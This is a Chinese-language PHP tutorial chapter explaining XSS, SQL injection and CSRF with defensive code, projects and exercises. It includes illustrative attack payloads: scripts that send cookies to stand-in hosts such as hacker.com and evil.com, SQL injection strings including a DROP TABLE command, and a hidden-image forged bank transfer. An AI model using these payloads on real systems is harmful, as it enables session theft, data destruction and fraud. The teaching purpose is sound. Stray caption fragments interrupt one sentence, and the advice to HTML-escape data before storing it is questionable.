第8章 8.3 Web 安全:XSS/SQL 注入/CSRF


🎯 开场 3 分钟:为什么要学这个?

上一章我们学会了给网站"体检"——用压测看看它能扛多少并发。这是性能优化的基础。

但你有没有想过:就算网站跑得再快,如果被人轻轻一碰就跪了,那前面功夫全白费?

真实场景:2017 年,美国一家信用机构 Equifax 泄露了 1.47 亿人的信息,原因就是一个普通的 Web 安全漏洞。创始人直接辞职,股价一天跌了 30%。

作为开发者,你写的每一行代码,要么是给网站装上防盗门,要么是给它留了个后门。

今天这章,我们来认识三个最常见、破坏力最大的攻击方式:XSS、SQL 注入、CSRF。学完你能:
- 看懂黑客是怎么攻击你的网站的
- 写出让黑客头疼的防御代码
- 保护用户数据不被偷走


🧱 基础 25 分钟:三个漏洞是什么

8.3.1 XSS:你的网页被塞了别人的代码

是什么:跨站脚本攻击(Cross-Site Scripting)。攻击者在网页里偷偷塞了一段 JavaScri\n\nSimple tech illustration expla\n\nAI comic creation scene, creat\n\npt 脚本,当其他用户访问这个页面时,这段脚本就在他们的浏览器里执行了。

生活类比:想象你在一个公告栏贴了张告示,结果有人趁你不注意,在你的告示下面塞了一张小纸条,写着"点我领红包"。其他不知情的同事以为纸条是你放的,点开一看,完了,银行卡被盗了。

怎么攻击的:假设你的评论区没有过滤 HTML,用户输入了这样一段内容:

<script>
// 偷走用户的 cookie 发送给黑客
document.location = 'http://hacker.com/steal?cookie=' + document.cookie;
</script>

其他用户访问这个评论区时,浏览器会执行这段脚本,他们的登录状态就被偷走了。

怎么防御:用 htmlspecialchars() 把特殊字符转成 HTML 实体。简单说就是让 <script> 变成 &lt;script&gt;,浏览器就当它是文字而不是代码了。

// 用户输入的内容
$user_input = '<script>alert("hacked!")</script>';

// 转义后输出
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// 输出: &lt;script&gt;alert(&quot;hacked!&quot;)&lt;/script&gt;

这行代码把 < 变成 &lt;> 变成 &gt;,引号也转义了。浏览器看到这些字符,只会老老实实显示,不会执行。

8.3.2 SQL 注入:你的数据库被人翻了个底朝天

是什么:攻击者在输入框里写入一段 SQL 代码,这段代码会和你的查询语句拼接在一起,被数据库执行。

生活类比:还记得小明那个购物清单吗?假设你有个搜索框,用户输入"苹果",系统查 SELECT * FROM products WHERE name = '苹果'

但如果用户输入的是:苹果' OR '1'='1

拼接出来的 SQL 就变成了:

SELECT * FROM products WHERE name = '苹果' OR '1'='1'

'1'='1' 永远为真,所以整个表的数据全被查出来了。更狠的还可以删库:苹果'; DROP TABLE users; --

怎么防御:用 PDO 预处理语句,把数据和 SQL 结构分开。

$pdo = new PDO('mysql:host=localhost;dbname=shop', 'root', 'password');

// 预处理语句:? 是占位符
$stmt = $pdo->prepare('SELECT * FROM users WHERE name = ? AND password = ?');

// 绑定参数,数据永远不会当作 SQL 执行
$stmt->execute([$username, $password]);

$user = $stmt->fetch();

预处理语句就像是一个带锁的文件夹。你把 SQL 结构(文件夹)和数据(文件内容)分开放,数据就算长得像命令,也会被当作纯文本,不会被执行。

8.3.3 CSRF:你的身份被人冒用了

是什么:跨站请求伪造(Cross-Site Request Forgery)。攻击者诱导已经登录的用户访问一个恶意页面,这个页面用用户的浏览器自动发送请求,由于浏览器会自动带上用户的 cookie,服务器以为这是用户自己发的请求。

生活类比:你去银行办完业务,临走时在授权书上签了字。结果工作人员偷偷在这张授权书上多写了几行字:"从今天起,每月自动转账 1000 元到 xxx 账户"。下次你再来,这张授权书就被当作有效凭证用了。

怎么攻击:假设用户登录银行后,访问了攻击者发来的恶意页面:

<img src="http://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">

浏览器显示图片时,会自动发起这个 GET 请求。由于用户已经登录,浏览器自动带上了 cookie,银行服务器就以为这是用户本人操作。

怎么防御:用 CSRF Token。每次表单提交时,服务器生成一个随机令牌,存在 session 里,同时藏在表单的隐藏字段中。提交时服务器核对令牌,恶意页面不知道这个令牌,所以请求会被拒绝。

session_start();

// 生成令牌
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$token = $_SESSION['csrf_token'];

// 表单中藏入令牌
echo '<form method="post" action="transfer.php">';
echo '<input type="hidden" name="csrf_token" value="' . $token . '">';
echo '<input type="text" name="amount">';
echo '<button type="submit">转账</button>';
echo '</form>';

// 验证令牌
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
die('CSRF 验证失败!');
}

🔥 实战 35 分钟:三个递进项目

项目 1:XSS 过滤器(5 分钟)

写一个简单脚本,演示转义前后的区别。

<?php
// 项目1:XSS 过滤器演示

$user_inputs = [
'<script>alert("XSS!")</script>',
'<img src=x onerror=alert(1)>',
'正常文本<script> steal_cookies() </script>'
];

echo "=== XSS 过滤演示 ===\n\n";

foreach ($user_inputs as $input) {
echo "原始输入: $input\n";
echo "转义后:   " . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "\n";
echo "---\n";
}
?>

预期输出

=== XSS 过滤演示 ===

原始输入: <script>alert("XSS!")</script>
转义后:   &lt;script&gt;alert(&quot;XSS!&quot;)&lt;/script&gt;
---
原始输入: <img src=x onerror=alert(1)>
转义后:   &lt;img src=x onerror=alert(1)&gt;
---
原始输入: 正常文本<script> steal_cookies() </script>
转义后:   正常文本&lt;script&gt; steal_cookies() &lt;/script&gt;
---

解释:不管用户输入什么妖魔鬼怪,htmlspecialchars() 统统转成纯文本,浏览器看了只会显示,不会执行。


项目 2:SQL 注入防御演示(15 分钟)

模拟一个用户登录系统,对比直接拼接和预处理语句的区别。

<?php
// 项目2:SQL 注入防御演示

$pdo = new PDO('sqlite::memory:');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// 初始化用户表
$pdo->exec('CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, password TEXT)');
$pdo->exec("INSERT INTO users (name, password) VALUES ('小明', 'password123')");

echo "=== SQL 注入防御演示 ===\n\n";

// 模拟攻击者输入
$attacker_name = "小明' OR '1'='1";
$attacker_pass = "任意密码";

echo "攻击者输入的用户名: $attacker_name\n";
echo "攻击者输入的密码: $attacker_pass\n\n";

// ❌ 错误方式:直接拼接(危险!)
echo "【错误方式】直接拼接 SQL:\n";
$sql_bad = "SELECT * FROM users WHERE name = '$attacker_name' AND password = '$attacker_pass'";
echo "执行的SQL: $sql_bad\n";
$result_bad = $pdo->query($sql_bad);
$user_bad = $result_bad->fetch();
echo "查询结果: ";
echo $user_bad ? "【危险!】找到了用户: {$user_bad['name']}" : "没找到\n";
echo "\n";

// ✅ 正确方式:预处理语句
echo "【正确方式】预处理语句:\n";
$stmt = $pdo->prepare('SELECT * FROM users WHERE name = ? AND password = ?');
$stmt->execute([$attacker_name, $attacker_pass]);
$user_good = $stmt->fetch();
echo "查询结果: ";
echo $user_good ? "找到了用户: {$user_good['name']}" : "【安全!】没找到\n";
?>

预期输出

=== SQL 注入防御演示 ===

攻击者输入的用户名: 小明' OR '1'='1
攻击者输入的密码: 任意密码

【错误方式】直接拼接 SQL:
执行的SQL: SELECT * FROM users WHERE name = '小明' OR '1'='1' AND password = '任意密码'
查询结果: 【危险!】找到了用户: 小明

【正确方式】预处理语句:
查询结果: 【安全!】没找到

解释:错误方式让攻击者轻松骗过验证。正确方式里,'1'='1' 被当作完整的字符串去匹配,不会被当作 SQL 逻辑执行。


项目 3:CSRF Token 保护表单(15 分钟)

写一个带 CSRF 保护的留言表单提交系统。

<?php
// 项目3:CSRF Token 保护留言表单

session_start();

$message = '';
$messages = $_SESSION['messages'] ?? [];

// 生成 CSRF Token
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$token = $_SESSION['csrf_token'];

// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 验证 CSRF Token
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
    $message = '【CSRF 验证失败】请求来源不被信任';
} else {
    $name = htmlspecialchars($_POST['name'] ?? '', ENT_QUOTES, 'UTF-8');
    $content = htmlspecialchars($_POST['content'] ?? '', ENT_QUOTES, 'UTF-8');

    if ($name && $content) {
        $messages[] = ['name' => $name, 'content' => $content, 'time' => date('H:i:s')];
        $_SESSION['messages'] = $messages;
        $message = '【成功】留言已提交';
    } else {
        $message = '【错误】姓名和内容不能为空';
    }
}
}

// 模拟恶意站点尝试提交(演示 CSRF 攻击被拦截)
if (isset($_GET['模拟CSRF攻击'])) {
$context = stream_context_create([
    'http' => [
        'method' => 'POST',
        'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
        'content' => http_build_query([
            'csrf_token' => '伪造的token',
            'name' => '黑客',
            'content' => '我是恶意留言'
        ])
    ]
]);

$result = file_get_contents('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'], false, $context);
echo "【CSRF 攻击模拟】已发送伪造请求...\n";
echo $result;
exit;
}

echo "=== CSRF Token 保护演示 ===\n\n";

// 显示留言
if ($messages) {
echo "--- 留言板 ---\n";
foreach ($messages as $msg) {
    echo "[{$msg['time']}] {$msg['name']}: {$msg['content']}\n";
}
echo "\n";
}

// 显示表单
echo "--- 留言表单 ---\n";
?>
<form method="post">
<input type="hidden" name="csrf_token" value="<?php echo $token; ?>">
姓名: <input type="text" name="name"><br>
内容: <textarea name="content"></textarea><br>
<button type="submit">提交留言</button>
</form>
<?php
if ($message) {
echo "\n提示: $message\n";
}

echo "\n--- CSRF 攻击演示 ---\n";
echo "访问本文件?模拟CSRF攻击=1 查看攻击如何被拦截\n";
?>

预期输出(正常提交):

=== CSRF Token 保护演示 ===

--- 留言板 ---
[14:30:25] 小明: 欢迎光临

--- 留言表单 ---
姓名: [________]
内容: [________]
[提交留言]

提示: 【成功】留言已提交

预期输出(CSRF 攻击):

【CSRF 攻击模拟】已发送伪造请求...

提示: 【CSRF 验证失败】请求来源不被信任

解释:恶意站点不知道正确的 CSRF Token,所以它的请求会被服务器拒绝。这就像每张表单都有个一次性密码,只有真网站生成的表单才有。


💪 进阶 20 分钟:常见坑 + 调试技巧

坑 1:只转义输出,不转义存储

// ❌ 错误:存的时候不转义,以为输出时再转就行
$sql = "INSERT INTO comments (content) VALUES ('$_POST[content]')";

// ✅ 正确:存的时候转义,输出时也转义(双重保险)
$content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
$stmt = $pdo->prepare('INSERT INTO comments (content) VALUES (?)');
$stmt->execute([$content]);

数据从进入系统那一刻就要开始保护,不能只靠出口的过滤器。

坑 2:只防 XSS,不防 SQL 注入

// ❌ 错误:转义了 HTML 但 SQL 还是拼接
$safe_content = htmlspecialchars($_POST['content']);
$sql = "INSERT INTO comments (content) VALUES ('$safe_content')";

// ✅ 正确:既要转义 HTML,也要预处理 SQL
$safe_content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
$stmt = $pdo->prepare('INSERT INTO comments (content) VALUES (?)');
$stmt->execute([$safe_content]);

安全是层层防线,不是有一种就够了。

坑 3:CSRF Token 验证用了 GET 请求

// ❌ 错误:Token 放在 URL 里,通过 GET 传递
<a href="delete.php?token=xxx">删除</a>

// ✅ 正确:Token 通过 POST 表单传递
<form method="post">
<input type="hidden" name="csrf_token" value="xxx">
<button type="submit">删除</button>
</form>

GET 请求的 Token 会出现在浏览器历史、服务器日志、Referer 头里,容易泄露。

坑 4:密码用 MD5 或 SHA1 存

// ❌ 错误:MD5/SHA1 太快,黑客用显卡每秒算几百亿次
$hash = md5($password);

// ✅ 正确:用 bcrypt,专为密码设计的慢哈希
$hash = password_hash($password, PASSWORD_BCRYPT);

// 验证
if (password_verify($password, $hash)) {
echo "登录成功";
}

bcrypt 会自动加盐,计算速度故意设得很慢(几百毫秒),黑客的显卡再快也白搭。

坑 5:相信用户上传的文件名

// ❌ 错误:直接用用户提供的文件名存盘
move_uploaded_file($_FILES['avatar']['tmp_name'], "uploads/{$_FILES['avatar']['name']}");

// ✅ 正确:重新生成文件名,不信任用户输入
$ext = pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION);
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['avatar']['tmp_name'], "uploads/$new_name");

用户可能上传 ../../../etc/passwd 或者 evil.php,重新生成文件名能避免路径穿越和代码执行。

调试技巧:开启错误显示(开发环境)

<?php
// 开发环境开启所有错误提示
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 生产环境要关闭,改成记录日志
// error_reporting(0);
// ini_set('display_errors', 0);
// ini_set('log_errors', 1);
?>

安全问题的报错信息在开发时能看到,但生产环境不能让用户看到——那等于给黑客提示答案。


✏️ 练习题 + 作业题

练习 1(2 分钟):转义一个 XSS 攻击

<?php
// 把下面这段恶意输入转义,让它只显示不执行
$malicious = '<script>document.location="http://evil.com/steal?c="+document.cookie</script>';

// 你的代码:


?>
  • 预期输出&lt;script&gt;document.location=&quot;http://evil.com/steal?c=&quot;+document.cookie&lt;/script&gt;
  • 提示:一行代码搞定,用 htmlspecialchars()

练习 2(2 分钟):加上登录判断

在练习 1 的代码基础上,如果用户输入的是空字符串,输出"非法输入"。

  • 输入''(空字符串)
  • 预期输出非法输入
  • 提示:加个 if 判断就行

练习 3(3 分钟):用预处理语句查询

写一个 PDO 预处理查询,根据用户输入的名称查找用户。

<?php
$pdo = new PDO('sqlite::memory:');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->exec('CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)');
$pdo->exec("INSERT INTO users (name) VALUES ('小明'), ('小红'), ('小刚')");

$search_name = "小红' OR '1'='1"; // 模拟攻击者输入

// 你的代码:用预处理语句查询


?>
  • 预期输出:只查到"小红",不会把三个人都查出来
  • 提示prepare()execute() 配合使用

练习 4(3 分钟):给项目 2 添加 CSRF 保护

给项目 2 的表单添加 CSRF Token 验证。

  • 输入:伪造的 POST 请求(没有正确 Token)
  • 预期输出CSRF 验证失败
  • 提示:用 hash_equals() 对比 Token

练习 5(5 分钟):分析这个报错

假设你收到用户反馈,说他的密码被人改了。以下是相关代码,请找出漏洞:

<?php
session_start();
if ($_SESSION['logged_in']) {
$new_pass = $_POST['new_password'];
$sql = "UPDATE users SET password = '$new_pass' WHERE id = {$_SESSION['user_id']}";
$pdo->query($sql);
}
?>
  • 问题:这个代码有哪些安全漏洞?
  • 提示:从 SQL 注入、XSS、CSRF 三个角度分析

作业:做一个「Web 安全检测小工具」

需求:写一个 PHP 脚本,能检测一个字符串是否包含常见的 XSS 攻击模式和 SQL 注入特征。

功能点
1. 检测 <script>onerror=<img src= 等 XSS 特征
2. 检测 ' OR' AND; DROP TABLE 等 SQL 注入特征
3. 对每个检测结果给出安全建议

加分项
1. 用正则表达式匹配
2. 把检测记录保存到文件

验收标准
- 能正确识别 <script>alert(1)</script> 为 XSS 攻击
- 能正确识别 1' OR '1'='1 为 SQL 注入
- 代码有适当注释


📚 总结 + 资源

本文学了 3 件事
- XSS:用户输入要转义,用 htmlspecialchars(),不然你的网页会执行别人的代码
- SQL 注入:查询要用预处理语句,数据和 SQL 结构分离,不然黑客能删你数据库
- CSRF:表单要带 Token,验证要严格,不然用户身份被人冒用

延伸资源
- OWASP 官方安全指南 — Web 安全领域的权威
- 《Web 安全攻防实战》— 详细讲解了各种攻击和防御
- PHP 官方安全文档

互动钩子:你在实际项目中遇到过安全漏洞吗?或者用过什么土方法防攻击?评论区聊聊,老粉优先回复!


下章预告:代码写完了,怎么让它在生产环境跑起来?下一章我们学部署——Nginx + PHP-FPM + Docker,让你的网站真正上线!

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。